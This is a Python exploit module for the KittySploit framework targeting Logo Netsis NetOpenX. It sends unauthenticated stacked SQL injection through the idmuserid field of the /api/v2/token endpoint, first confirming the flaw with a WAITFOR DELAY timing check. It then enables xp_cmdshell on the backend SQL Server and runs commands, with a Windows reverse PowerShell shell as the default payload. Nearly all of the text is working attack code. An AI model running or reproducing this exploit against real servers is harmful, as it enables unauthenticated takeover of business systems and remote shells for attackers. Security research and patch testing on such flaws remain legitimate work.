Netsis NetOpenX token endpoint SQLi xp_cmdshell RCE

"""Logo Netsis NetOpenX OAuth token SQLi to xp_cmdshell RCE."""
from __future__ import annotations
import re
import time
from urllib.parse import urlencode
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'Netsis NetOpenX token endpoint SQLi xp_cmdshell RCE', 'description': 'Unauthenticated POST /api/v2/token idmuserid parameter stacked SQL enables xp_cmdshell on the backend SQL Server.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/reverse_powershell', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['netsis', 'netopenx', 'sqli', 'rce', 'unauth'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/netsis_netopenx_unauth_sqli_xp_cmdshell_rce_detect']}}}
    _TOKEN_PATH = '/api/v2/token'
    _DELAY_PAYLOAD = "';WAITFOR DELAY '0:0:5';--"
    port = OptPort(80, 'NetOpenX HTTP port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    marker_path = OptString('C:\\Windows\\Temp\\nox_rest_marker.txt', 'Remote file for command output redirection', required=False)

    def _token_post(self, idmuserid: str) -> tuple[int, int]:
        body = urlencode({'grant_type': 'password', 'username': 'x', 'password': 'x', 'dbname': '', 'idmuserid': idmuserid})
        start = time.time()
        resp = self.http_request('POST', self._TOKEN_PATH, data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'}, timeout=40)
        elapsed = int((time.time() - start) * 1000)
        code = int(resp.status_code or 0) if resp else -1
        return (code, elapsed)

    @staticmethod
    def _rce_payload(command: str, marker: str) -> str:
        inner = f'cmd /c {command} > "{marker}"'
        return f"';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell '{inner}';--"

    def execute(self, cmd: str) -> str:
        marker = str(self.marker_path or 'C:\\Windows\\Temp\\nox_rest_marker.txt')
        payload = self._rce_payload(cmd, marker)
        code, elapsed = self._token_post(payload)
        return f'HTTP {code} elapsed={elapsed}ms\nstacked xp_cmdshell dispatched (400 may be expected)\nverify marker: {marker}'

    def check(self):
        base_code, base_ms = self._token_post('poc_baseline_user')
        delay_code, delay_ms = self._token_post(self._DELAY_PAYLOAD)
        if delay_ms > 4000 and delay_ms > base_ms * 4:
            return {'vulnerable': True, 'reason': f'Time-based SQLi confirmed (delay {delay_ms}ms)', 'confidence': 'high'}
        if base_code > 0:
            return {'vulnerable': True, 'reason': 'Token endpoint reachable — SQLi may still apply', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Token endpoint not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Injecting stacked xp_cmdshell via idmuserid')
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search('reverse|powershell|/dev/tcp|nc ', shell, re.I))
        return True if blind else True